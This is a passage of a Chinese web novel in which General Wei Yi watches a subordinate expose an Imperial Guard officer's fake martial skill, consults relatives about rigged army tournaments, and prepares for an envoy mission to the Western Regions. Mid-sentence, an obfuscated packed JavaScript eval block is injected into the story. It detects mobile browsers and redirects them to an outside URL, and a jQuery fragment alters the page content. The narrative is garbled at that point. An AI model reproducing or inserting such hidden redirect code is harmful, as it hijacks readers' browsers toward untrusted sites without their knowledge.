刚才没看出来,这位心宽体壮的庞将军有这么一套说话阴阳怪气的功夫。韦祎盘算,不能让这两位打起来呀,无论禁军和自己有没有过节,走这一趟,手下这两位副官要各司其职相互制衡,若是庞将军胜,那禁军必然反弹更严重,其他士兵也会更加不服于曲将军,这一路上就难办了。 若是这位曲将军赢了,就更难办。庞仁受封的职位高于曲喆,这还被曲喆给打败了,以下胜上,军心必然不稳。 “二位这是怎么啦,有话好好说嘛……这天这么热,何苦动手呢?”韦祎三步并作两步赶上前去阻拦。 “中郎将,并非末将要在军前无礼,只是这位曲将军目中无人了些,一时气急,想替我们这些边关浴血多年的弟兄们争口气罢了。”庞仁向韦祎拱手。 当年稞国战场捷报频传时,庞仁就对韦祎多有关注,认为此人必然会成为未来的一代神勇名将。后来听说南征的高级将领尽数死难,这人却没死,首告有功,一直在纳闷这人去了哪里,怎么没再出战呢? 这次有合作的机会,庞仁是挺高兴的。 当然他站在韦祎这一边,有一些柳卞的因素。 几年前,一次御驾临幸顺天郡,当晚值夜士兵里面有两人被悄悄杀掉,刺客替换了进来,险些酿成大祸。 到了御前辩白的时候,那晚负责值夜的偏将正是顺天郡兵马大都督的女婿,于是顺天郡兵马大都督就命人改了值班表,诬陷那夜里是庞仁值班。 幸亏有柳卞在场,查清了真相,要不然,庞仁就因为这事儿成冤死鬼了。 柳卞一直没再对庞仁示好,这几年连见都没见过庞仁,庞仁更纳闷了,“救我一命竟然没让我替他做些什么?” 其实柳卞是忘了这回事,把他手头的工作写成折子连起来,能绕京城一圈,不可能事事都记得住,这几天要用人,才搜肠刮肚地想出来有庞仁这号人物在。 按住了庞仁,曲喆他可按不住。 “庞将军这是怕了?”曲喆冷笑一声。 “同僚之间,和睦为上,曲将军消消气。”韦祎硬着头皮去劝他。 “中郎将,若是他人侮我没有战功傍身,我便认了。身为禁军,若武艺不精,于公对不起天家信任、皇恩浩荡,于私对不起家师传道受业,庞将军谈及末将武艺不精,恕末将不能姑息!” “大家闲聊天嘛,曲将军你不要当真。”韦祎头痛,天地君亲师这一套都出来了,这人竟然不是在找茬而是因为迂腐? “那就是中郎将您也认为末将习武不精了?”曲喆似乎更生气,“不如由中郎将与我比试一番!” “我什么时候也这么认为了?”韦祎内心里冒出了无数个问候他爹娘的大问号,这人理解能力堪忧!不过,若是此时由自己出手揍他一顿好像是个好选择,但是韦祎迟疑了,真不想打! 肖丰、钱氿、周冲、郑予他们四个正站在不远处,韦祎向那边使眼色。肖丰正扭着头,没看见,于是韦祎去瞪钱氿。 钱氿会意,点点头,狠狠拐了肖丰一胳膊肘子。 “你丫是不是欠揍?”忽然挨了一下,肖丰立刻回神,脱口大声骂道。 本是在骂钱氿,可惜没指名道姓,在场众人都听到了。 转过头来,肖丰注意到钱氿“计划通”的怪异笑容。 紧接着环视全场,周冲和郑予一脸等着看戏的样子,而自家韦将军脸上憋着窃喜和期待,庞将军站在韦将军身后惊讶的看着自己。 重点在于曲将军,怒目圆睁,恨不得把肖丰瞪出窟窿来。 肖丰也不傻,看出来这是韦祎和钱氿合伙来算计自己,发怒不配合吧,又十分手痒想要和传说中“武艺高强”的曲将军比试一番,根本不需要权衡,自从来了京城,每天都手痒得像是长了疮,今天大好机会,想好好打一架的心情占了上风。 不知道该说些什么来配合演戏,直接动手来得痛快,当即解开铠甲往钱氿身上一扔,又把佩刀也摘下来塞进钱氿怀里,挽起袖子,露出两条手臂上狰狞又精致的花绣纹身,稳步走进场地中央。 “韦将军果然是瞧不起在下,连自己出手也不肯,竟让这等无名小卒来应战!”曲喆恨声道。 “我不是,我没有。”韦祎内心默默回答,“不要逞强!”冲着肖丰比口型,立刻被肖丰翻了一个大白眼。 得了,里外不是人。 “承蒙曲将军愿与末将比试,先谢过曲将军,今日过后在下便不是无名小卒了!”肖丰冲着曲喆露出笑脸,一口尖牙白森森。他长得不好看,称得上“面目可怖”四个字,平日里也不爱笑,看习惯了也还好,今天笑这一下子,看见了的人都浑身难受起来。 曲喆在场地中马步结实站定,拉开架势,拳风熊熊,挺像那么一回事的。 再看肖丰,双脚岔开,马步都不扎,双手则摆出个军队基本拳术的起手式。 庞仁在旁边叹了口气,凑到韦祎耳旁问道:“虽说这位将军好胆气,只是这出征在即千万别受伤才好,中郎将您还是准末将与曲将军比试吧!” 干笑两声,韦祎考虑考虑该怎么说,“他就是这个好斗的脾性,怎么都改不过来,就算是输了,让他受些教训也好。” 刚刚调到城防军的时候,肖丰追在韦祎屁股后面要和他打一场,不胜其烦,每天都要想拒绝的理由。 韦祎去个茅厕拉到一半,先是听到声音不对,而后看到茅厕门上的缝隙有双恶鬼一般的铜铃眼在炯炯发光,倒吸一口凉气胡乱擦两下子就把裤子提上踹开了门,肖丰后跳一步看着外裤带子都没系好的韦祎:“韦千总果然警觉,不愧是出身金吾卫!” 韦祎一脚踢过去,“你……你发什么神经?” “正合我意!”肖丰格挡,抓住了韦祎的脚腕向身后拽去,韦祎站立不稳,另一只脚赶忙发力,身体腾空转起,拧开了肖丰的抓握,肖丰再次出招,又快又猛地一拳打出。韦祎则心急着想要把裤带子整理好,不得已和他打了起来,越打越生气,用上了真功夫也无法摆脱肖丰的纠缠。 这人路子奇怪,又分外兴奋战意十足,基本上是韦祎在又躲又逃,肖丰在纠缠不休。 两刻钟之后韦祎都有些气喘了,从袖子里摸出来两个银豆子夹在手指间,屈指瞄准肖丰的膝盖弹出去,肖丰不妨韦祎竟用暗器,腿一软,被韦祎从身后踹了一脚,险些跌倒。 赢得不太光彩,韦祎估摸肖丰还要再来打。 用银豆子当暗器太奢侈,那两颗银豆子,一颗被弹飞到不知道哪里,蹲在草丛里翻了好久都没找到,另一颗则眼睁睁地掉进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357846|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茅坑,盯着看了半天,下不去手捞它,第二天一早,韦祎让四萬换了一袋子铜板装在袖子里,预备当暗器用。 揣着沉甸甸的一袋子铜板过了十几天,肖丰都没再来找。 韦祎先忍住不住了,去问肖丰,“你没什么事找我?” 肖丰疑惑:“报告我早就交了。” “那,不打架了?” “哎?您还想打?也可以啊!” “不不不不我不想。” “这不就得了。”肖丰耸耸肩,走掉了。 此事过后,韦祎发现肖丰看起来脾性臭,竟然是个聪明又识趣的,不是真莽夫。 想到这,韦祎怕场上的肖丰真的吃了亏,今天出门太急了,身上一个铜钱都没,看看地上,校场是沙地,没有石头子。 “你有铜钱吗?借我几个。”小声问庞仁。 “不曾带。” 韦祎有些肉痛的摸出几颗银豆子扣在手心里,挪动位置找个好瞄准的角度,准备紧急时刻拉偏架。 似乎用不到。 场上的比试根本没进行几回合,众人都在目瞪口呆。 第一回合里头,曲喆率先冲上前,肖丰持保守态度,谨慎地格挡,曲喆拳打到了肖丰手掌上。 “怎么如此无力?”肖丰懵了,不知道这是什么路子,防备这是没见过的功夫派系,更加谨慎了。试探性地出招去抓曲喆的手臂,竟然轻松就抓到了,使出个平常的推手去掼对方,曲喆立刻被摔了一个屁股墩。 曲喆从地上跳起来,恨恨地拉了个华丽的架势冲来,肖丰还在奇怪,退了半步伸出手去,又一次轻松地抓住了曲喆的腿,使出擒拿手拧住,把曲喆给摔在了地上。 身经百战,擂台也常常打,从来没遇到过这样的情况,连续摔了曲喆两次,肖丰都不敢还手了,只格挡,不发力,偶尔还故意被曲喆打中几拳,假摔一跤。 看到自己又占了上风,曲喆战意大盛,如雨点搬迅速打出数拳。肖丰见状,以攻代守,第一次出招,七成的力气使出自己最熟手的刺步崩拳,曲喆打飞出去,险些面部着地。 韦祎向肖丰投去询问的眼神,肖丰也满脸疑惑地看着韦祎。 没办法,这可真是紧急情况。韦祎赶忙向肖丰摆口型:“承让!快承让!” 肖丰收到信号,震惊之中也没有别的好办法,就听了韦祎的,退后一步恭敬地拱手:“没想到原来曲将军大人有大量,是末将过于鲁莽,轻视将军了,将军还要让着末将,承让!承让了,末将羞愧!” 曲喆冷哼一声转身就走。 事后,韦祎把肖丰拉到僻静处,“他是真打吗?” “看不出,真要说,这位曲将军倒像是个街头卖艺耍把式的,只有架子漂亮。” “事关重大,你千万别到处乱说。” “我省得,您当我是郑予那个大嘴巴啊?” “那也别跟郑予说啊!周冲也别说!” “我傻啊?我可不想西行这趟泡汤,说不定西域有真高手可以比试一番!” 今天没办法,韦祎自己疑惑了老半天,最终翻墙跳进柳府的院子。 一路避开柳府的佣人,靠近柳卞的书房,正巧柳卞、大表姐夫、三表姐夫都在书房里。 三表姐夫察觉了动静,“是谁!” 从房上跳下来,捞住了三表姐夫当武器扔过来的茶杯,韦祎走进去,把茶杯放回桌上,“准头不成,三姐夫你手上的功夫还得再练啊。” “哈哈原来是小祎,在你面前,我这点外门暗器哪儿够看啊!” “小祎来了,怎么也没人来说一声,快来坐下,正说你的事情呢。”大表姐夫也起身,给韦祎拉来椅子,沏一杯热茶。 韦祎也不清楚该怎么问,只好把今天发生的事情原原本本地陈述一遍。 “我依稀记得,这位曲喆将军以武艺出众闻名,连续好几年都是全军比武的前三甲,他自己也常常炫耀武艺,我一介文人,看不出武艺高低,老三你说呢?” “我没跟他打过,去挑战吧,人家看不上我,不跟我打。” “不会啊,曲喆这人我常听说,武功和兵法都不错,虽然实战少些,但足够年轻锐气,这才选定了他来做你的副手。怎么会连一个小百户官都打不过?”柳卞也在那里疑惑。 19. 将临行 “哎?小祎,会不会那位肖百户是个真正的大高手?他就住在城防军营,我去跟他试一试!” “你可消停吧,也不想想,小祎怎么会不知道自己手下的斤两?对吧小祎?”大表姐夫赶忙按住已经起身准备出门的三表姐夫。 “肖丰确实不错,肉搏功夫比我好一点。” “只是好一点?那不应该轻松赢得了全军比武前三甲才对。”三表姐夫沉思道。 “你怎么说话呢?小祎那是术业有专攻。”大表姐夫在旁补救,越描越黑,偷偷看一眼韦祎的脸色。 “我肉搏确实不怎么样,比三姐夫是差远了。” 四个人在那喝茶沉思。 还是柳卞经验丰富,“老三,全军比武每年是哪个单位主办的?” “禁军啊。”三表姐夫脱口而出。 柳卞把茶杯磕在桌角上,空出手来扶额,大表姐夫也啧了一声。 韦祎明白过来。 “哎呀呀,我说是怎么回事,我每年都去报名,每年都不让我参加,原来是他们自导自演!”三表姐夫恍然大悟。 一时间,众人皆头痛。 卡在这个节骨眼上揭出这样的坏秘密,难办了。 “只有这个曲喆是个例还好些,若是这历年的全军比武都是装样子,不是什么好事,不如去提点御史们,本就该他们监察的。”大表姐夫提议。 柳卞沉吟半响,“平时倒也罢了,如今征北在即,不容拖延,把这样的事情揭到明面上,于大计不利。”旋即又问韦祎和三女婿,“军中不会都是这风气罢?”此时无数恶劣的可能性盘旋在他的脑海,最坏的一种莫过于要想办法紧急叫停征北之战。 韦祎想了想,武疯子都在边境待着呢,只有肖丰自己倒霉被钱氿骗来了京城,再想起岳丈魏国公那恐怖的一家子,“估计是不至于,有本事的老将们都在,边境军的血性也不弱,也许只是京城里这些年败坏了。” “要我说也是,京城里多年没有经历过大战,都变成了仪仗队了。”三表姐夫说,“千里之堤溃于蚁穴,禁军也该治理了。” “谈何容易?”柳卞想到其中的利害关系,“刚刚带头惩治了蒋氏,紧接着就要去倒禁军?这事儿咱们家是碰不得,怕有人要疑我们。” “让老三在他们内部想想办法,找个别人去点醒皇上,顺便还能让老三卖个面子。”大表姐夫提议。 “啊?这可难了,最近事情多呢,和我关系好的都不在京里。”三表姐夫挠头。 “谁让你找关系好的,这事儿就得找关系不好的。”大表姐夫白他一眼。 三表姐夫摊手,“关系不好的也不在,都出去了,最快也得下个月才有人。” “你为何如此得闲?” “嗐,这不是三姑娘不让我外头四处跑吗,上个月回来才吵了一架,难不成大哥你又想看我在院子里跪搓板?” “可别,三妹一人发火,咱们全家遭殃。” 韦祎的表情挺好奇,他一直觉得三表姐是位喜怒不形于色的。 “别好奇,二姑姑是怎么发脾气的,三妹就是怎么发脾气的,你应该挺熟悉。”大表姐夫给他解释。 韦祎抖三抖,不想再问下去了。 “老三,你就等有人回来了再办此事,”柳卞松了一口气,想要从椅子上起身,“只是要坑小祎……哎呦喂我的后背!” 话说了一半,柳卞的背部嘎嘣一声响,连连呼痛,维持着半站不站的姿势动弹不得。 大表姐夫和三表姐夫对视一眼,三表姐夫开腔:“爹爹呀,您是不是又没听郎中的,做那个腰背保健操?” “你指望爹做那个?我估摸他都没记住那保健操是怎么做的。”大表姐夫说,“我去请郎中。” “你就是年轻,等你到了我这岁数,说不定不如我。”柳卞不服,追着大表姐夫的背影争辩。 “我这五禽戏和保健操每天都练,腰背好着呢,您先把自个儿的身子养好吧。” 两人早就见惯了这场景,三表姐夫熟练地背起柳卞,让他到床榻上平躺,等着郎中来做针灸。韦祎帮他安顿好柳卞,站在一旁。 很快大表姐就走了进来,“爹,您这是又躺下了,明天还能不能上朝啊?依我看就歇几天,我去让人请假。” 没等她走,三表姐就进来了,一挑眉,“又倒了?” 紧接着舅妈和两个小表妹也来了,进了书房也没管柳卞,先拉着韦祎:“今个儿怎么得空来啦,晚上留下吃饭,马上要出发去西边,一路上一定是吃不好,才长了些肉又要瘦成干,得趁着在家多吃几顿好的。” 柳卞艰难地伸伸手,“老三,你快去和小祎把事情交代了。” “好,那您先歇着。”三表姐夫拉着韦祎推脱说有公事,跟一大家子告别。舅妈听了有公事,不好多拦,只能放他走。 韦祎求之不得,赶忙跟着三表姐夫开溜。 二人一起走在柳宅的回廊中,韦祎想起来问:“刚才舅舅说坑我什么?” “坑你要带着那位武功奇差的曲将军一起西行了呗。” “啊?”他今天来就是为了把曲喆换了,刚刚商讨一番发现这件事至少等一个月才能办,等办成了也许要好几个月,那时候可能都要到西域了。 “不用太担心,你们是出使也不是出征,那曲将军若碍事你只管把他拿下,横竖禁军也要完蛋,无需顾忌。”三表姐夫安慰道。 拿下曲喆容易,他带着的那九百禁军士兵是拿不下的。果然是坑我,韦祎得出结论。 从平素办公的外书房走到了内院的小书房,这书房看着就不一般,紧关着门,门口站着俩壮硕的家丁。 走进去,三表姐夫从格子上拿出个小漆盒,盒上扣着一把精致的锁,交给韦祎,“这是给你准备的,这一趟若是有什么天大的难事,你就打开这漆盒,里面自有分辨。” “还有锦囊妙计呢?”韦祎想,难道是早就想要坑我,才准备的这些,左右看看,“钥匙呢?” “对啊,钥匙呢?”三表姐夫转着架子四周到处找了一圈,也没看见,“找不到啊,依我看也不用钥匙,想看时把这小锁头拧断就好了。不带钥匙,你也不用担心丢钥匙了,对吧!” “好像也有道理。”韦祎就揣着这没钥匙的上锁漆盒回了家。 “哎,三姐夫你去哪儿?”三表姐夫把韦祎送出门,自己也跨上马。 “我去认识一下你那位肖百户。”三表姐夫满脸兴奋地催马向着城外一骑绝尘。 紧接着,还有更多头痛的事情,比如收拾行李。 行李还要分公与私两部分,于公,是几大车的国礼,多是丝绸、茶叶与瓷器,只盼着瓷器少一些,路上颠簸,保存瓷器不易。最重要的是圣上御笔的国书盟约,要呈给西域的君主。 所谓的“西域”是由十几个小国组成的盟国,北邻兵强马壮民风彪悍的大燕国,东边则是物产富足文化兴盛的大齐国,不想沦为大国的附庸,聚沙成塔组成联盟确实是个好的选择。 这十几个西域小国之间常有通婚,关系亲密,同盟制度经营多年,在外人看来,“西域”早已连成一体。 这一趟,韦祎要带队先去往这一届的盟主国西秦,再继续西行,去往联姻公主的母国荆芜,接到公主后先返回西秦举办仪式,然后就可以带着公主与西域回赠的国礼、签署好的国书踏上归途了。 国礼,一向由礼夷院准备。 于是韦祎就去问爹爹韦寅,“这次的国礼没有瓷器吧?” “小祎,今年京窑制出了新花样,全套的朱雀展翅连环大瓶,西秦以赤色为尊,皇帝特意让工部把这套贡品留着当国礼。”韦寅从书架上抽出一张图纸来,递给韦祎。“还有越窑的秘色瓷,这几年的成色非常好,留了一大批,都算进去了。” “那丝绸和茶叶呢,不送了?”韦祎还抱着一点点希望,他打开了那张图纸,倒吸一口凉气。 这是瓶子吗?把瓶子做的这么夸张,一点实用价值都没了,每一只都足有十尺高的九个红色大瓷瓶子环环相扣,九只翼展六尺,形态各异的朱雀鸟连接着瓶口凌驾空中,气派极了。 怎么不直接送人家个雕塑呢 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有的皇子就很没有存在感,比如这位皇十三子平郡王,韦祎曾在宫中当差多年,从来没有听说过这位。 没有相关的情报,不知道平郡王是一位好好先生还是一只胡搅蛮缠的熊孩子,密旨上说要一路上让这人隐蔽身份,不得让他人知晓。 这一路快则两个月,慢则三个月以上,人家是皇子,不可能把他捆起来关起来,那就非要和此人配合不可。 第二日,韦祎早早起身穿衣洗漱,先找来曲喆,带着他一同去礼夷院拿了礼单,韦祎亲自查准一次,就把监督装箱的“重任”交给了曲喆,自己匆匆离去。 礼夷院是韦寅的地盘,有爹爹在,韦祎倒不担心曲喆在装箱工作上闯祸。 离开礼夷院,韦祎去宫城外递了牌子,求见贵妃姨母柳红酥。 柳红酥年少时便嫁给了当今皇帝,至今已有几十年的时间,丈夫的儿子,她怎么说也该知道一些。 不多时,柳红酥派攸绚来宫城门口把韦祎接进来。 攸绚是能逃课一会儿算一会儿,飞快地告别师傅来执行这次“任务”。 “小祎哥,你是不是要出远门了啊?” “对,要去西域的西秦国。” “我知道!西秦国盛产红宝石,还有皮毛大氅。”攸绚瞪着一双亮晶晶地眼睛看着韦祎,“我不喜欢皮毛,那是小动物做的,但是我听说他们国家造的弯刀很有特色,刀很锋利,刀法也特别,每把刀的刀鞘都是特制的,上面可以用宝石镶出特殊的花纹呢。” “好,刀鞘很漂亮的弯刀,还有刀法本子,小祎哥记住啦!”韦祎笑着摇一摇攸绚的小手,他是有孩子的人,小孩儿的意图都写在脸上了。 攸绚露出一个羞涩的笑容,“还有姐姐,她也不喜欢皮毛和首饰,喜欢弯刀。” “知道了,你就放心吧。” “等我长大了也要出远门,也给小祎哥带礼物。”攸绚信誓旦旦地跟韦祎保证。 “好,那我等着啦。” 见到了贵妃姨母,韦祎没办法直说密旨上的内容,只问她是否知晓皇十三子平郡王此人,不知道此人品性如何? 柳红酥想了好一会子,“若是我没记错,这孩子好多年前就去了封地,出发时可能才十三岁,我是没什么印象。” 小孩子嘛,小的时候还不都是一个样子?又不是柳红酥生的,当今皇帝的孩子也多,皇子公主请安时站在一起,一眼望去一大片,谁会费心去记住? 更何况十三、四岁就被发配去了一个沿海小郡的封地,一准儿是不受宠的,更没人去记住他了。 “既然你来问我,自然是有原因,你又不好说原因是什么,”柳红酥揉着太阳穴回忆片刻,“我记着他的母亲应该是珍妃,我带你去见见,也许能看出些什么来。” 迤迤然起身,柳红酥带上一群宫女太监什么的,让韦祎跟着他,往珍妃居住的玉门宫走过去,路上说起珍妃的事情。 20. 前尘事 皇帝还是王爷的时候,柳卞也年轻,不是什么大官,柳红酥作为侧妃嫁进王府,已经有正妃和三名侧妃排在她前面,当然还有贵人侍妾众多。 其中一位排在柳红酥前面的侧妃正是如今的珍妃娘娘。 一直不知道这位珍妃娘娘的娘家是哪里,只说是远,从来都没有娘家人探望,她也不省亲。身为侧妃,本该在王府里举足轻重,当时却不甚受宠爱,王爷一年里最多去宿寝两三次而已。 这位珍妃没什么宅斗宫斗的心思,不受宠便也不争宠,不显眼没人招惹她,过自己的日子罢了。 后来王爷当了皇帝,进宫后不咸不淡封了个珍妃,住的宫殿不算华丽不算寒酸,情形和在王府里时差不多。 “珍姐姐,妹妹来看你了。”柳红酥跟她打招呼。珍妃迎下台阶来给柳红酥行礼,“贵妃妹妹来了,是姐姐有失远迎。” 韦祎赶忙给珍妃行礼,口称请安拜见。 “今天本就想来找珍姐姐下棋说话的,临时遇见我这娘家外甥来探望,不想耽误了见姐姐,就把他一并带来了。”柳红酥解释道,“小祎原本就出身金吾卫,皇帝都信得过,不是外臣,姐姐放心。” 珍妃向韦祎点头示意,“原来是韦将军,果然十分精神。” 韦祎心想,这夸人的词可够敷衍的,说我仪表堂堂我也认了,十分精神?我哪有?起这么早都要困死了。 坐在末座,眼睛偷偷看珍妃。 五十余的妇人,已显老态。 两鬓的银丝蜿蜒着钻进头顶的发髻,用两枚没有坠子的翠玉发簪束着,面庞很瘦,眉间留着深深的川字纹,总是紧抿着薄唇、低垂着眼角。松针色衫裙外罩了一件墨绿色半臂,花纹沉稳,通身不见亮眼颜色,一副老妇打扮。 听着贵妃姨母与珍妃拈着棋子东拉西扯,蜀绣苏绣织金绸,红茶绿茶乌龙茶,金簪步摇和绢花,都要睡着了,这二位终于讲到了养孩子。 “攸绚这孩子到了爱玩的年纪,读书不认真,他的师傅不知道跟我抱怨了多少次。”柳红酥道,“姐姐可有什么主意,帮帮我管好那皮孩子。” “这小孩子啊,脑子好,见到了什么都容易记得住,喜欢玩那才是好学呢,绚儿是个有志气有福气的,妹妹你宽心。”珍妃客套了一番,没接茬。 “他哪里有什么福气,我只盼着他身体康健,把该读的书读了,志气那东西,最好别有。我记着姐姐的孩子十分乖巧好学,可有什么教导的窍门?”柳红酥只好继续引导。 “我家的攸纾才是个没志气的,不爱读书也就算了,却怪我把他生成了皇子,一生受人拘束不得自由。”珍妃叹气,捻着棋子望向了窗外,“那么小就去了封地,离了我的眼,不知道有没有吃饱穿暖。” “哪有几个孩子喜欢被人拘束?若是在宫外,攸绚的年纪正是疯玩的好时候,如今只能在宫里读书习武,姐姐的纾儿喜欢自由自在的,去封地能活泛些。” 珍妃却似陷入了沉思,不知在想些什么,蹙着眉神思沉重。 柳红酥不好再聊下去,扯了几句闲话安慰珍妃多宽心,注意身体,就起身告辞。 “可有收获?”柳红酥问。 “听起来难搞。”韦祎如实回答。 柳红酥笑得有点幸灾乐祸,“姨母只能帮你到这里。”片刻后又接着,“依我所见,珍妃是个有城府的,我不敢多问,别坏了事。” “为何?”在韦祎看来,坦白讲,刚才见到的那位女子不过是深宫怨妇。 “下棋不是我随便讲的理由,我确实常去找她对弈,至少在宫里,她是唯一我没把握赢下来的棋手。”柳红酥道,“你是不下棋的,不知道你姨母的本事,就算是你舅舅都下不赢我。再说了,这宫里宫外,凡是我想结为朋友的人,没有一个不把我当作毕生知己,唯有珍妃,这么多年过去,她的底细一点都没透出来,可见其城府之深。” 韦祎望天,姨母能让飞扬任性的柳不寒和城府深沉的柳卞都乖乖信任,她才是柳家的智商情商制高点。 再想想珍妃母子,这样深藏不露的母亲,生出来那么有个性的儿子,这位皇十三子平郡王云攸纾一定是难搞定的熊孩子。 做好了面对最坏情况的心理准备,总比什么也不知道就去东平郡找人要好。 出了宫,顺道去礼夷院趴着墙头看了一眼库房处的情形,只见曲喆正极其严肃地绕着装箱的马车团团转,这看看那看看,一遍遍地检查。韦祎放心了,就没想着要再进去,直接溜去了城里的城防军临时衙门,要把里面的东西都收走。 只是普通的东西就不用收拾了,可抽屉里却放着吴签送的那个什么“助兴之物”呢,难不成要留给后人观赏揣摩? 临时衙门里面,老熟人们纷纷来祝贺韦祎高升,有不少老兵在京城待着实在无聊,想让韦祎带他们一起西行。 推开办公室的门,只见池勤抱着肩膀静悄悄地坐在里面。 不用想就知道,郑予那个大嘴巴闲不住,一定去跟池勤讲了他们四个都要跟韦祎一起走的事情。还有周冲,他跟池勤关系最好,有什么心事都要去跟池勤聊。 “怎么有空来我这,得了婚假,不好好休息一番多陪新娘子?” “我来是想说,不如中郎将您西行这一趟,把我也带上如何?你们都出去,留我一个人没意思。” “你那么好的人缘,城防军上下大把的兄弟朋友,不差肖丰他们四个吧。”韦祎陪笑。 “罢了,知道您没有其他人可以选,我就不为难您啦!”池勤故意板着的脸上露出了笑容。人逢喜事精神爽,他这是遇到了双喜临门,自然格外好说话。 他知道韦祎在军中只跟他们五个亲近些,“有件事想提醒中郎将,不知当讲不当讲。” “当讲不当讲?你跟我来这套?”韦祎难以置信,这各自升了官,就变得生疏客套了不成? “若是我自己的事情,我也就直说了,此时要说的却是他人的事情。”池勤耸肩,“我认识您有好几年了,知道您不喜欢争斗,只是……这话可不好听。您是重臣的少爷,勋贵亲族,纵使不挣功名也一生富贵。但是别人不同,周冲那孩子,应该没跟您说过他的事情。” 池勤怕韦祎打断他,一口气说下去:“他爹是个有本事的,在东南打了一辈子的海盗,后来被贬成了末等走卒,一生抬不起头来,就教诲儿子要驰骋疆场出人头地,挣回家族荣誉。他爹死了之后他娘又接着念叨,苦练了一身本领就为了这么一件事。没赶在他爹死之前让老人家看到,这孩子心思实,内疚的不得了,如今他娘得了病,不知道能撑到几时,换我是他,我也着急。” “这爹娘怎么这样?”这是韦祎的第一反应,不过他没说出来。 周冲的这情况,就好像把韦祎的情况倒过来。 韦祎家里随便挑一个长辈出来,爹娘、舅舅姨母、姐姐姐夫,岳丈家,无论男女,个个都比韦祎有出息,全家最怂实至名归。 长辈们若是想让韦祎做点什么事,更是要把路铺平,商量着哄他走上去,哪有耳提面命要争气的时候? 讲完这事儿,韦祎觉得又合理又难以置信。 “钱氿嘛,够聪明,又不懒,是个只靠自己就能活明白的人。只有他耍别人的份儿,好在心地善良不捣蛋。” “我以为你又要说什么悲惨故事。”韦祎松了一口气。 “哪有那么多悲惨故事,家家有本难念的经不是?”看到韦祎一副双手抱肩,缩着脖子身体后倾的状态,池勤寻思,“我这是说了什么,把他吓成这样。” “成,家家有本难念的经。”韦祎更难以置信了,原来周冲这事儿不算惨? “还有郑予,那小子纯属帝王将相的话本戏曲看多了,满脑子建功立业,天赋好,勇气十足,年纪太小,功夫和心智还要磨。” 韦祎谨慎地点头,时刻防备着池勤又讲故事。 “剩下没说那位,您也知道不用愁,肖丰没爹娘没老婆,只是爱打架罢了。要是有 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有一件重要的事情要在临走前办完。 这事儿一个人还忙不过来,走这一路韦祎都在想可以叫谁来帮忙,四萬在就一定叫他来了,可惜四萬和宓儿在魏国公府呢。这人还得识字,又得嘴严不泄密,韦祎拖着不情不愿的步伐走到了自家铺子门口。 “掌柜的在吗?” “哎呦喂,少爷可是稀客!”掌柜的迎出来跟他打了个招呼。 韦祎是真的很少来铺子,连铺子究竟在哪里都记得不是很清楚,绕着这条街转了两圈才找到。 掌柜的把小林叫出来,韦祎点了个头,“跟我走一趟,帮帮忙。” 小林看向掌柜的。 “最近忙得很,但是少爷叫,你就去吧。”掌柜的苦笑。 韦祎赶忙向掌柜的欠身表达谢意。 一弯腰,怀里那个盒子掉了出来。小林蹲下帮忙捡了起来,憋着一脸诡异的笑容把盒子双手递给韦祎。 韦祎头大,挥挥手没接过来,“送你了。” “哦?”小林想想,决定忍住不开韦祎的玩笑了,“值不少钱呢,谢少爷。”便把盒子揣在怀里。 “放起来,怪累赘的。”韦祎赶忙制止。 “好,少爷稍等。” 韦祎把他带到了兵部的档案处。 升了官连待遇都不同了,主簿笑呵呵把他送了进去,上一壶茶,帮他把门关上。 韦祎找到了龙捷军的档案柜,好家伙,占了好大一面墙。 “这儿,找个叫曲喆的,找到了叫我。”韦祎指一指这面墙。 小林仰头看看,倒吸一口凉气,话不多说,从角落推来梯子,赶忙开始找。 韦祎转到了顺天军的柜子前,四大郡的守将更换并不频繁,总数不大,记录不容含糊,庞仁的档案很快就找到了。 庞仁,大齐国西部银州人士,世代耕种,祖役银州矿务,十六岁时因盗匪之祸应征入伍,屯田步卒营第三年时通过考试成为小队长,辖十卒。一年后升为中队长,辖三十卒。 此后跟随大部队西去边境源州戍边,经大小战役多场,剿匪数次。 五年后,升为七品曹卫将军,带百来兵卒单独戍守一座边境站,参与剿匪数十次。又五年后,因顺天郡出缺,被调入京城,领顺天郡守军中营偏将一职,至今已经第四年。 “算起来是三十四岁了,”韦祎自语,“不怎么样啊。” 至少和池勤肖丰他们五个比,庞仁这个升官速度真的慢,记录上没什么亮眼的战功,都是三等功、末等功,积累着升上来了。 而池勤他们五个,个个都是天赋型选手。 周冲刚二十,郑予好像才十九,都已经是从六品百户官了,跟庞仁比,那叫一个飞速啊。 看庞仁的档案,大多记录都在讲这人擅长安顿善后、安抚商旅等事。 21. 出京城 那边的小林还在埋头苦找,被禁军档案里面的春秋笔法搞得头晕眼花。 于是韦祎转去了其他区域的档案柜,翻出了周冲父亲的档案。 周老爹很厉害,四十岁之前战功非凡,一路飙升,在东南沿海守卫海疆,与各路海盗奋战不休,册子上写着整整一排首功。 直到四十岁那年,紧急遭遇战上全营覆没,仅剩下十几个人,周老爹虽然活了下来,却因此贬为站岗的步卒,一蹶不振,到病故都在站岗。 四十多岁时,周老爹才有了儿子,就是周冲,精心教儿子习武。 不到六十岁就病死了,十几岁的周冲接了军职。档案记载,周冲在东南海防时便勇猛非常,战功累累。 很快,他被巡查海防的一位大将军看中,带着他到了京城,准备委以重任,与自己的儿子一同出征戍边。 没等那位大将军把周冲安排明白,就患上急病一命呜呼,他儿子出征的事情因为丁忧守孝换了人。 周冲没了着落,被随便归置进城防军营。 “怎么做到这么倒霉的?” 把档案放回去,看着这满满一栋小楼的档案,前几天一直在忙的新兵造册事宜是有用的,至少有需要的时候翻一翻资料便知晓过去。 小林上上下下翻看,韦祎背着手走了出去,兵部档案馆后门外有整整一条街的餐馆、小吃摊子,信步走到平时常去的那一家,这家摊子是夫妻店,老板和老板娘胖乎乎的红光满面。韦祎招呼一声,打包了几个烧饼、半斤烤肉和两个凉菜。 “先吃点东西再看,该晚饭了。”韦祎抬头,对坐在梯子上的小林说。 